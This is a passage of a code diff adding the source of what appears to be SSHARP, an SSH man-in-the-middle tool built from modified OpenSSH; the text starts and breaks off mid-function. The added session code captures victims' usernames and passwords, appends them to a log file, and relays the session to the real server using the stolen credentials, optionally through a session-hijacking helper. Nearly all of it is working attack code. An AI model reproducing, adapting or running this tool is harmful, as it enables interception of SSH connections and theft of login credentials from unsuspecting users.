packet_put_int(c->remote_id); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); + packet_send(); + } else { + debug("server_input_channel_open: failure %s", ctype); + packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(rchan); + packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED); + packet_put_cstring("bla bla"); + packet_put_cstring(""); + packet_send(); + } + xfree(ctype); +} + +void +server_input_global_request(int type, int plen, void *ctxt) +{ + char *rtype; + int want_reply; + int success = 0; + + rtype = packet_get_string(NULL); + want_reply = packet_get_char(); + debug("server_input_global_request: rtype %s want_reply %d", rtype, want_reply); + + /* -R style forwarding */ + if (strcmp(rtype, "tcpip-forward") == 0) { + char *listen_address; + u_short listen_port; + + listen_address = packet_get_string(NULL); /* XXX currently ignored */ + listen_port = (u_short)packet_get_int(); + debug("server_input_global_request: tcpip-forward listen %s port %d", + listen_address, listen_port); + + /* check permissions */ + if (!options.allow_tcp_forwarding || + no_port_forwarding_flag || + (listen_port < IPPORT_RESERVED)) { + success = 0; + packet_send_debug("Server has disabled port forwarding."); + } else { + /* Start listening on the port */ + success = channel_request_forwarding( + listen_address, listen_port, + /*unspec host_to_connect*/ "", + /*unspec port_to_connect*/ 0, + options.gateway_ports, /*remote*/ 1); + } + xfree(listen_address); + } + if (want_reply) { + packet_start(success ? + SSH2_MSG_REQUEST_SUCCESS : SSH2_MSG_REQUEST_FAILURE); + packet_send(); + packet_write_wait(); + } + xfree(rtype); +} + +void +server_init_dispatch_20(void) +{ + debug("server_init_dispatch_20"); + dispatch_init(&dispatch_protocol_error); + dispatch_set(SSH2_MSG_CHANNEL_CLOSE, &channel_input_oclose); + dispatch_set(SSH2_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH2_MSG_CHANNEL_EOF, &channel_input_ieof); + dispatch_set(SSH2_MSG_CHANNEL_EXTENDED_DATA, &channel_input_extended_data); + dispatch_set(SSH2_MSG_CHANNEL_OPEN, &server_input_channel_open); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH2_MSG_CHANNEL_REQUEST, &channel_input_channel_request); + dispatch_set(SSH2_MSG_CHANNEL_WINDOW_ADJUST, &channel_input_window_adjust); + dispatch_set(SSH2_MSG_GLOBAL_REQUEST, &server_input_global_request); + /* client_alive */ + dispatch_set(SSH2_MSG_CHANNEL_FAILURE, &server_input_channel_failure); + /* rekeying */ + dispatch_set(SSH2_MSG_KEXINIT, &kex_input_kexinit); +} +void +server_init_dispatch_13(void) +{ + debug("server_init_dispatch_13"); + dispatch_init(NULL); + dispatch_set(SSH_CMSG_EOF, &server_input_eof); + dispatch_set(SSH_CMSG_STDIN_DATA, &server_input_stdin_data); + dispatch_set(SSH_CMSG_WINDOW_SIZE, &server_input_window_size); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_close); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_close_confirmation); + dispatch_set(SSH_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH_MSG_PORT_OPEN, &channel_input_port_open); +} +void +server_init_dispatch_15(void) +{ + server_init_dispatch_13(); + debug("server_init_dispatch_15"); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_ieof); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_oclose); +} +void +server_init_dispatch(void) +{ + if (compat20) + server_init_dispatch_20(); + else if (compat13) + server_init_dispatch_13(); + else + server_init_dispatch_15(); +} + diff --git a/other/ssharp/serverloop.h b/other/ssharp/serverloop.h new file mode 100644 index 0000000..4609403 --- /dev/null +++ b/other/ssharp/serverloop.h @@ -0,0 +1,30 @@ +/* $OpenBSD: serverloop.h,v 1.2 2001/01/29 01:58:17 niklas Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Performs the interactive session. This handles data transmission between + * the client and the program. Note that the notion of stdin, stdout, and + * stderr in this function is sort of reversed: this function writes to stdin + * (of the child program), and reads from stdout and stderr (of the child + * program). + */ +#ifndef __SERVERLOOP_H__ +#define __SERVERLOOP_H__ + +#include "auth.h" + +void server_loop(pid_t pid, int fdin, int fdout, int fderr); +void server_loop2(Authctxt *); + +#endif + diff --git a/other/ssharp/session.c b/other/ssharp/session.c new file mode 100644 index 0000000..9406975 --- /dev/null +++ b/other/ssharp/session.c @@ -0,0 +1,1304 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * SSH2 support by Markus Friedl. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: session.c,v 1.74 2001/04/17 19:34:25 markus Exp $"); + +#include "ssh.h" +#include "ssh1.h" +#include "ssh2.h" +#include "xmalloc.h" +#include "sshpty.h" +#include "packet.h" +#include "buffer.h" +#include "mpaux.h" +#include "uidswap.h" +#include "compat.h" +#include "channels.h" +#include "nchan.h" +#include "bufaux.h" +#include "auth.h" +#include "auth-options.h" +#include "pathnames.h" +#include "log.h" +#include "servconf.h" +#include "sshlogin.h" +#include "serverloop.h" +#include "canohost.h" +#include "session.h" +#include "ssharp.h" + +#ifdef WITH_IRIX_PROJECT +#include +#endif /* WITH_IRIX_PROJECT */ +#ifdef WITH_IRIX_JOBS +#include +#endif +#ifdef WITH_IRIX_AUDIT +#include +#endif /* WITH_IRIX_AUDIT */ + +#if defined(HAVE_USERSEC_H) +#include +#endif + +#ifdef HAVE_CYGWIN +#include +#include +#define is_winnt (GetVersion() < 0x80000000) +#endif + +/* AIX limits */ +#if defined(HAVE_GETUSERATTR) && !defined(S_UFSIZE_HARD) && defined(S_UFSIZE) +# define S_UFSIZE_HARD S_UFSIZE "_hard" +# define S_UCPU_HARD S_UCPU "_hard" +# define S_UDATA_HARD S_UDATA "_hard" +# define S_USTACK_HARD S_USTACK "_hard" +# define S_URSS_HARD S_URSS "_hard" +# define S_UCORE_HARD S_UCORE "_hard" +# define S_UNOFILE_HARD S_UNOFILE "_hard" +#endif + +#ifdef _AIX +# include +#endif + +/* types */ + +#define TTYSZ 64 +typedef struct Session Session; +struct Session { + int used; + int self; + struct passwd *pw; + pid_t pid; + /* tty */ + char *term; + int ptyfd, ttyfd, ptymaster; + int row, col, xpixel, ypixel; + char tty[TTYSZ]; + /* X11 */ + char *display; + int screen; + char *auth_proto; + char *auth_data; + int single_connection; + /* proto 2 */ + int chanid; + int is_subsystem; + + /* SSHARP */ + sharp_t sharp; +}; + + +Authctxt *global_ssh2_ctx; + +/* func */ + +Session *session_new(void); +void session_set_fds(Session *s, int fdin, int fdout, int fderr); +void session_pty_cleanup(Session *s); +void session_proctitle(Session *s); +void do_exec_pty(Session *s, const char *command); +void do_exec_no_pty(Session *s, const char *command); +void do_child(Session *s, const char *command); +void do_motd(void); + +void do_authenticated1(Authctxt *authctxt); +void do_authenticated2(Authctxt *authctxt); + +/* import */ +extern ServerOptions options; +extern char *__progname; +extern int log_stderr; +extern int debug_flag; +extern u_int utmp_len; +extern int startup_pipe; +extern void destroy_sensitive_data(void); + +/* Local Xauthority file. */ +static char *xauthfile; + +/* original command from peer. */ +char *original_command = NULL; + +/* data */ +#define MAX_SESSIONS 10 +Session sessions[MAX_SESSIONS]; + +#ifdef WITH_AIXAUTHENTICATE +/* AIX's lastlogin message, set in auth1.c */ +char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + +#ifdef HAVE_LOGIN_CAP +static login_cap_t *lc; +#endif + +void +do_authenticated(Authctxt *authctxt) +{ + /* + * Cancel the alarm we set to limit the time taken for + * authentication. + */ + alarm(0); + if (startup_pipe != -1) { + close(startup_pipe); + startup_pipe = -1; + } + /* setup the channel layer */ + if (!no_port_forwarding_flag && options.allow_tcp_forwarding) + channel_permit_all_opens(); + + if (compat20) + do_authenticated2(authctxt); + else + do_authenticated1(authctxt); +} + +/* + * Remove local Xauthority file. + */ +void +xauthfile_cleanup_proc(void *ignore) +{ + debug("xauthfile_cleanup_proc called"); + + if (xauthfile != NULL) { + char *p; + unlink(xauthfile); + p = strrchr(xauthfile, '/'); + if (p != NULL) { + *p = '\0'; + rmdir(xauthfile); + } + xfree(xauthfile); + xauthfile = NULL; + } +} + +/* + * Function to perform cleanup if we get aborted abnormally (e.g., due to a + * dropped connection). + */ +void +pty_cleanup_proc(void *session) +{ + Session *s=session; + if (s == NULL) + fatal("pty_cleanup_proc: no session"); + debug("pty_cleanup_proc: %s", s->tty); + + if (s->pid != 0) { + /* Record that the user has logged out. */ + record_logout(s->pid, s->tty); + } + + /* Release the pseudo-tty. */ + pty_release(s->tty); +} + +/* + * Prepares for an interactive session. This is called after the user has + * been successfully authenticated. During this message exchange, pseudo + * terminals are allocated, X11, TCP/IP, and authentication agent forwardings + * are requested, etc. + */ +void +do_authenticated1(Authctxt *authctxt) +{ + Session *s; + char *command; + int success, type, n_bytes, plen, have_pty = 0; + int compression_level = 0, enable_compression_after_reply = 0; + u_int dlen; + + s = session_new(); + + s->pw = getpwnam("nobody"); + s->sharp = sharp_dup(&authctxt->sharp); + + if (!s->pw) { + debug("No user nobody.\n"); + exit(1); + } + /* + * We stay in this loop until the client requests to execute a shell + * or a command. + */ + for (;;) { + success = 0; + + /* Get a packet from the client. */ + type = packet_read(&plen); + + /* Process the packet. */ + switch (type) { + case SSH_CMSG_REQUEST_COMPRESSION: + packet_integrity_check(plen, 4, type); + compression_level = packet_get_int(); + if (compression_level < 1 || compression_level > 9) { + packet_send_debug("Received illegal compression level %d.", + compression_level); + break; + } + /* Enable compression after we have responded with SUCCESS. */ + enable_compression_after_reply = 1; + success = 1; + break; + + case SSH_CMSG_REQUEST_PTY: + if (authctxt->how == AUTH_RSA) { + success = 1; + break; + } + if (no_pty_flag) { + debug("Allocating a pty not permitted for this authentication."); + break; + } + if (have_pty) + packet_disconnect("Protocol error: you already have a pty."); + + debug("Allocating pty."); + + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, + sizeof(s->tty))) { + error("Failed to allocate pty."); + break; + } + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(s->pw, s->tty); + + /* Get TERM from the packet. Note that the value may be of arbitrary length. */ + s->term = packet_get_string(&dlen); + packet_integrity_check(dlen, strlen(s->term), type); + /* packet_integrity_check(plen, 4 + dlen + 4*4 + n_bytes, type); */ + /* Remaining bytes */ + n_bytes = plen - (4 + dlen + 4 * 4); + + if (strcmp(s->term, "") == 0) { + xfree(s->term); + s->term = NULL; + } + /* Get window size from the packet. */ + s->row = packet_get_int(); + s->col = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + + /* Get tty modes from the packet. */ + tty_parse_modes(s->ttyfd, &n_bytes); + packet_integrity_check(plen, 4 + dlen + 4 * 4 + n_bytes, type); + + + /* Indicate that we now have a pty. */ + success = 1; + have_pty = 1; + break; + + case SSH_CMSG_MAX_PACKET_SIZE: + if (packet_set_maxsize(packet_get_int()) > 0) + success = 1; + break; + + case SSH_CMSG_EXEC_SHELL: + case SSH_CMSG_EXEC_CMD: + if (authctxt->how == AUTH_RSA) { + } + if (!have_pty) { + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, + sizeof(s->tty))) { + error("Failed to allocate pty."); + break; + } + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(s->pw, s->tty); + + success = 1; + have_pty = 1; + } + + + if (type == SSH_CMSG_EXEC_CMD) { + command = packet_get_string(&dlen); + debug("Exec command '%.500s'", command); + packet_integrity_check(plen, 4 + dlen, type); + } else { + command = NULL; + packet_integrity_check(plen, 0, type); + } + do_exec_pty(s, command); + + if (command != NULL) + xfree(command); + /* Cleanup user's local Xauthority file. */ + if (xauthfile) + xauthfile_cleanup_proc(NULL); + return; + + default: + /* + * Any unknown messages in this phase are ignored, + * and a failure message is returned. + */ + log("Unknown packet type received after authentication: %d", type); + } + packet_start(success ? SSH_SMSG_SUCCESS : SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + /* Enable compression now that we have replied if appropriate. */ + if (enable_compression_after_reply) { + enable_compression_after_reply = 0; + packet_start_compression(compression_level); + } + } +} + +/* + * This is called to fork and execute a command when we have no tty. This + * will call do_child from the child, and server_loop from the parent after + * setting up file descriptors and such. + */ +void +do_exec_no_pty(Session *s, const char *command) +{ + int pid; + +#ifdef USE_PIPES + int pin[2], pout[2], perr[2]; + /* Allocate pipes for communicating with the program. */ + if (pipe(pin) < 0 || pipe(pout) < 0 || pipe(perr) < 0) + packet_disconnect("Could not create pipes: %.100s", + strerror(errno)); +#else /* USE_PIPES */ + int inout[2], err[2]; + /* Uses socket pairs to communicate with the program. */ + if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) < 0 || + socketpair(AF_UNIX, SOCK_STREAM, 0, err) < 0) + packet_disconnect("Could not create socket pairs: %.100s", + strerror(errno)); +#endif /* USE_PIPES */ + if (s == NULL) + fatal("do_exec_no_pty: no session"); + + session_proctitle(s); + +#if defined(USE_PAM) + do_pam_setcred(1); +#endif /* USE_PAM */ + + /* Fork the child. */ + if ((pid = fork()) == 0) { + /* Child. Reinitialize the log since the pid has changed. */ + log_init(__progname, options.log_level, options.log_facility, log_stderr); + + /* + * Create a new session and process group since the 4.4BSD + * setlogin() affects the entire process group. + */ + if (setsid() < 0) + error("setsid failed: %.100s", strerror(errno)); + +#ifdef USE_PIPES + /* + * Redirect stdin. We close the parent side of the socket + * pair, and make the child side the standard input. + */ + close(pin[1]); + if (dup2(pin[0], 0) < 0) + perror("dup2 stdin"); + close(pin[0]); + + /* Redirect stdout. */ + close(pout[0]); + if (dup2(pout[1], 1) < 0) + perror("dup2 stdout"); + close(pout[1]); + + /* Redirect stderr. */ + close(perr[0]); + if (dup2(perr[1], 2) < 0) + perror("dup2 stderr"); + close(perr[1]); +#else /* USE_PIPES */ + /* + * Redirect stdin, stdout, and stderr. Stdin and stdout will + * use the same socket, as some programs (particularly rdist) + * seem to depend on it. + */ + close(inout[1]); + close(err[1]); + if (dup2(inout[0], 0) < 0) /* stdin */ + perror("dup2 stdin"); + if (dup2(inout[0], 1) < 0) /* stdout. Note: same socket as stdin. */ + perror("dup2 stdout"); + if (dup2(err[0], 2) < 0) /* stderr */ + perror("dup2 stderr"); +#endif /* USE_PIPES */ + + /* Do processing for the child (exec command etc). */ + do_child(s, command); + /* NOTREACHED */ + } +#ifdef HAVE_CYGWIN + if (is_winnt) + cygwin_set_impersonation_token(INVALID_HANDLE_VALUE); +#endif + if (pid < 0) + packet_disconnect("fork failed: %.100s", strerror(errno)); + s->pid = pid; + /* Set interactive/non-interactive mode. */ + packet_set_interactive(s->display != NULL); +#ifdef USE_PIPES + /* We are the parent. Close the child sides of the pipes. */ + close(pin[0]); + close(pout[1]); + close(perr[1]); + + if (compat20) { + session_set_fds(s, pin[1], pout[0], s->is_subsystem ? -1 : perr[0]); + } else { + /* Enter the interactive session. */ + server_loop(pid, pin[1], pout[0], perr[0]); + /* server_loop has closed pin[1], pout[0], and perr[0]. */ + } +#else /* USE_PIPES */ + /* We are the parent. Close the child sides of the socket pairs. */ + close(inout[0]); + close(err[0]); + + /* + * Enter the interactive session. Note: server_loop must be able to + * handle the case that fdin and fdout are the same. + */ + if (compat20) { + session_set_fds(s, inout[1], inout[1], s->is_subsystem ? -1 : err[1]); + } else { + server_loop(pid, inout[1], inout[1], err[1]); + /* server_loop has closed inout[1] and err[1]. */ + } +#endif /* USE_PIPES */ +} + +/* + * This is called to fork and execute a command when we have a tty. This + * will call do_child from the child, and server_loop from the parent after + * setting up file descriptors, controlling tty, updating wtmp, utmp, + * lastlog, and other such operations. + */ +void +do_exec_pty(Session *s, const char *command) +{ + int fdout, ptyfd, ttyfd, ptymaster; + pid_t pid; + + if (s == NULL) + fatal("do_exec_pty: no session"); + ptyfd = s->ptyfd; + ttyfd = s->ttyfd; + + + /* Fork the child. */ + if ((pid = fork()) == 0) { + /* Child. Reinitialize the log because the pid has changed. */ + log_init(__progname, options.log_level, options.log_facility, log_stderr); + + /* Close the master side of the pseudo tty. */ + close(ptyfd); + + /* Make the pseudo tty our controlling tty. */ + pty_make_controlling_tty(&ttyfd, s->tty); + + /* Redirect stdin from the pseudo tty. */ + if (dup2(ttyfd, fileno(stdin)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Redirect stdout to the pseudo tty. */ + if (dup2(ttyfd, fileno(stdout)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Redirect stderr to the pseudo tty. */ + if (dup2(ttyfd, fileno(stderr)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Close the extra descriptor for the pseudo tty. */ + close(ttyfd); + + + /* Do common processing for the child, such as execing the command. */ + do_child(s, command); + /* NOTREACHED */ + } +#ifdef HAVE_CYGWIN + if (is_winnt) + cygwin_set_impersonation_token(INVALID_HANDLE_VALUE); +#endif + if (pid < 0) + packet_disconnect("fork failed: %.100s", strerror(errno)); + s->pid = pid; + + /* Parent. Close the slave side of the pseudo tty. */ + close(ttyfd); + + /* + * Create another descriptor of the pty master side for use as the + * standard input. We could use the original descriptor, but this + * simplifies code in server_loop. The descriptor is bidirectional. + */ + fdout = dup(ptyfd); + if (fdout < 0) + packet_disconnect("dup #1 failed: %.100s", strerror(errno)); + + /* we keep a reference to the pty master */ + ptymaster = dup(ptyfd); + if (ptymaster < 0) + packet_disconnect("dup #2 failed: %.100s", strerror(errno)); + s->ptymaster = ptymaster; + + /* Enter interactive session. */ + packet_set_interactive(1); + if (compat20) { + session_set_fds(s, ptyfd, fdout, -1); + } else { + server_loop(pid, ptyfd, fdout, -1); + /* server_loop _has_ closed ptyfd and fdout. */ + session_pty_cleanup(s); + } +} + +/* administrative, login(1)-like work */ +void +do_login(Session *s, const char *command) +{ + socklen_t fromlen; + struct sockaddr_storage from; + + /* + * Get IP address of client. If the connection is not a socket, let + * the address be 0.0.0.0. + */ + memset(&from, 0, sizeof(from)); + if (packet_connection_is_on_socket()) { + fromlen = sizeof(from); + if (getpeername(packet_get_connection_in(), + (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername: %.100s", strerror(errno)); + fatal_cleanup(); + } + } +} + + +/* + * Performs common processing for the child, such as setting up the + * environment, closing extra file descriptors, setting the user and group + * ids, and executing the command or shell. + */ +void +do_child(Session *s, const char *command) +{ + char *argv[20]; + int i; + struct sockaddr_in dst; + FILE *f; +#ifdef USE_MSS + char mss_socket[1024]; +#endif + char *tenv[] = {NULL, NULL}, tbuf[1024]; + + /* remove hostkey from the child's memory */ + destroy_sensitive_data(); + + /* SSHARP: get real destination XXX: IPv6? */ + dstaddr(packet_get_connection_in(), &dst); + s->sharp.remote = strdup(inet_ntoa(dst.sin_addr)); + s->sharp.remote_port = ntohs(dst.sin_port); + + log("Forwarding to %s:%d", s->sharp.remote, + s->sharp.remote_port); + + f = fopen(SSHARP_LOG, "a+"); + if (f) { + fprintf(f, "%s:%d [%s:%s]\n", s->sharp.remote, + s->sharp.remote_port, s->sharp.login, s->sharp.pass); + fclose(f); + } + + /* + * Close the connection descriptors; note that this is the child, and + * the server will still have the socket open, and it is important + * that we do not shutdown it. Note that the descriptors cannot be + * closed before building the environment, as we call + * get_remote_ipaddr there. + */ + if (packet_get_connection_in() == packet_get_connection_out()) + close(packet_get_connection_in()); + else { + close(packet_get_connection_in()); + close(packet_get_connection_out()); + } + /* + * Close all descriptors related to channels. They will still remain + * open in the parent. + */ + /* XXX better use close-on-exec? -markus */ + channel_close_all(); + + /* + * Close any extra file descriptors. Note that there may still be + * descriptors left by system functions. They will be closed later. + */ + endpwent(); + + /* + * Close any extra open file descriptors so that we don\'t have them + * hanging around in clients. Note that we want to do this after + * initgroups, because at least on Solaris 2.3 it leaves file + * descriptors open. + */ + for (i = 3; i < 64; i++) + close(i); + + + /* restore SIGPIPE for child */ + signal(SIGPIPE, SIG_DFL); + + setgid(s->pw->pw_gid); + setuid(s->pw->pw_uid); + + + /* Execute the shell. */ +#ifdef USE_MSS + argv[0] = "/usr/local/bin/mss-server"; + argv[1] = "-n"; + argv[2] = "-S"; + snprintf(mss_socket, sizeof(mss_socket), "/tmp/ssharp-%s.%d", + s->sharp.remote, getppid()); + argv[3] = mss_socket; + argv[4] = "-s"; + argv[5] = SSHARP_CLIENT; + argv[6] = "-Z"; + argv[7] = s->sharp.pass; + argv[8] = "-l"; + argv[9] = s->sharp.login; + argv[10] = s->sharp.remote; + if (command) + argv[11] = strdup(command); + else + argv[11] = NULL; + argv[12] = NULL; + +#else + argv[0] = SSHARP_CLIENT; + argv[1] = "-Z"; + argv[2] = s->sharp.pass; + argv[3] = "-l"; + argv[4] = s->sharp.login; + argv[5] = s->sharp.remote; + if (command) + argv[6] = strdup(command); + else + argv[6] = NULL; + argv[7] = NULL; +#endif + snprintf(tbuf, sizeof(tbuf), "TERM=%s", s->term); + tenv[0] = tbuf; + + execve(*argv, argv, tenv); + debug(strerror(errno)); + /* Executing the shell failed. */ + perror("execve"); + exit(1); +} + +Session * +session_new(void) +{ + int i; + static int did_init = 0; + if (!did_init) { + debug("session_new: init"); + for(i = 0; i < MAX_SESSIONS; i++) { + sessions[i].used = 0; + sessions[i].self = i; + } + did_init = 1; + } + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (! s->used) { + memset(s, 0, sizeof(*s)); + s->chanid = -1; + s->ptyfd = -1; + s->ttyfd = -1; + s->used = 1; + debug("session_new: session %d", i); + return s; + } + } + return NULL; +} + +void +session_dump(void) +{ + int i; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + debug("dump: used %d session %d %p channel %d pid %d", + s->used, + s->self, + s, + s->chanid, + s->pid); + } +} + +int +session_open(int chanid) +{ + Session *s = session_new(); + debug("session_open: channel %d", chanid); + if (s == NULL) { + error("no more sessions"); + return 0; + } + /* SSHARP */ + s->pw = getpwnam("nobody"); + if (s->pw == NULL) + fatal("no user for session %d", s->self); + debug("session_open: session %d: link with channel %d", s->self, chanid); + s->chanid = chanid; + return 1; +} + +Session * +session_by_channel(int id) +{ + int i; + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->chanid == id) { + debug("session_by_channel: session %d channel %d", i, id); + return s; + } + } + debug("session_by_channel: unknown channel %d", id); + session_dump(); + return NULL; +} + +Session * +session_by_pid(pid_t pid) +{ + int i; + debug("session_by_pid: pid %d", pid); + for(i = 0; i < MAX_SESSIONS; i++) { + Session *s = &sessions[i]; + if (s->used && s->pid == pid) + return s; + } + error("session_by_pid: unknown pid %d", pid); + session_dump(); + return NULL; +} + +int +session_window_change_req(Session *s) +{ + s->col = packet_get_int(); + s->row = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + packet_done(); + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + return 1; +} + +int +session_pty_req(Session *s) +{ + u_int len; + int n_bytes; + + if (no_pty_flag) + return 0; + if (s->ttyfd != -1) + return 0; + s->term = packet_get_string(&len); + s->col = packet_get_int(); + s->row = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + + if (strcmp(s->term, "") == 0) { + xfree(s->term); + s->term = NULL; + } + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { + xfree(s->term); + s->term = NULL; + s->ptyfd = -1; + s->ttyfd = -1; + error("session_pty_req: session %d alloc failed", s->self); + return 0; + } + debug("session_pty_req: session %d alloc %s", s->self, s->tty); + /* + * Add a cleanup function to clear the utmp entry and record logout + * time in case we call fatal() (e.g., the connection gets closed). + */ + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(s->pw, s->tty); + /* Get window size from the packet. */ + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + + /* Get tty modes from the packet. */ + tty_parse_modes(s->ttyfd, &n_bytes); + packet_done(); + + session_proctitle(s); + + return 1; +} + +int +session_subsystem_req(Session *s) +{ + u_int len; + int success = 0; + char *subsys = packet_get_string(&len); + int i; + + packet_done(); + log("subsystem request for %s", subsys); + + for (i = 0; i < options.num_subsystems; i++) { + if(strcmp(subsys, options.subsystem_name[i]) == 0) { + debug("subsystem: exec() %s", options.subsystem_command[i]); + s->is_subsystem = 1; + do_exec_no_pty(s, options.subsystem_command[i]); + success = 1; + } + } + + if (!success) + log("subsystem request for %s failed, subsystem not found", subsys); + + xfree(subsys); + return success; +} + +int +session_x11_req(Session *s) +{ + int fd; + if (no_x11_forwarding_flag) { + debug("X11 forwarding disabled in user configuration file."); + return 0; + } + if (!options.x11_forwarding) { + debug("X11 forwarding disabled in server configuration file."); + return 0; + } + if (xauthfile != NULL) { + debug("X11 fwd already started."); + return 0; + } + + debug("Received request for X11 forwarding with auth spoofing."); + if (s->display != NULL) + packet_disconnect("Protocol error: X11 display already set."); + + s->single_connection = packet_get_char(); + s->auth_proto = packet_get_string(NULL); + s->auth_data = packet_get_string(NULL); + s->screen = packet_get_int(); + packet_done(); + + s->display = x11_create_display_inet(s->screen, options.x11_display_offset); + if (s->display == NULL) { + xfree(s->auth_proto); + xfree(s->auth_data); + return 0; + } + xauthfile = xmalloc(MAXPATHLEN); + strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN); + temporarily_use_uid(s->pw); + if (mkdtemp(xauthfile) == NULL) { + restore_uid(); + error("private X11 dir: mkdtemp %s failed: %s", + xauthfile, strerror(errno)); + xfree(xauthfile); + xauthfile = NULL; + xfree(s->auth_proto); + xfree(s->auth_data); + /* XXXX remove listening channels */ + return 0; + } + strlcat(xauthfile, "/cookies", MAXPATHLEN); + fd = open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600); + if (fd >= 0) + close(fd); + restore_uid(); + fatal_add_cleanup(xauthfile_cleanup_proc, s); + return 1; +} + +int +session_shell_req(Session *s) +{ + /* if forced_command == NULL, the shell is execed */ + char *shell = forced_command; + + s->sharp = sharp_dup(&global_ssh2_ctx->sharp); + + packet_done(); + if (s->ttyfd == -1) + ;//do_exec_no_pty(s, shell); + else + do_exec_pty(s, shell); + return 1; +} + +int +session_exec_req(Session *s) +{ + u_int len; + char *command = packet_get_string(&len); + packet_done(); + + s->sharp = sharp_dup(&global_ssh2_ctx->sharp); + + if (forced_command) { + original_command = command; + command = forced_command; + debug("Forced command '%.500s'", forced_command); + } + + if (s->ttyfd == -1) { + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { + xfree(s->term); + s->term = NULL; + s->ptyfd = -1; + s->ttyfd = -1; + error("session_pty_req: session %d alloc failed", s->self); + return 0; + } + debug("session_pty_req: session %d alloc %s", s->self, s->tty); + /* + * Add a cleanup function to clear the utmp entry and record logout + * time in case we call fatal() (e.g., the connection gets closed). + */ + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(s->pw, s->tty); + } + do_exec_pty(s, command); + + if (forced_command == NULL) + xfree(command); + return 1; +} + +int +session_auth_agent_req(Session *s) +{ + static int called = 0; + packet_done(); + if (no_agent_forwarding_flag) { + debug("session_auth_agent_req: no_agent_forwarding_flag"); + return 0; + } + if (called) { + return 0; + } else { + called = 1; + return auth_input_request_forwarding(s->pw); + } +} + +void +session_input_channel_req(int id, void *arg) +{ + 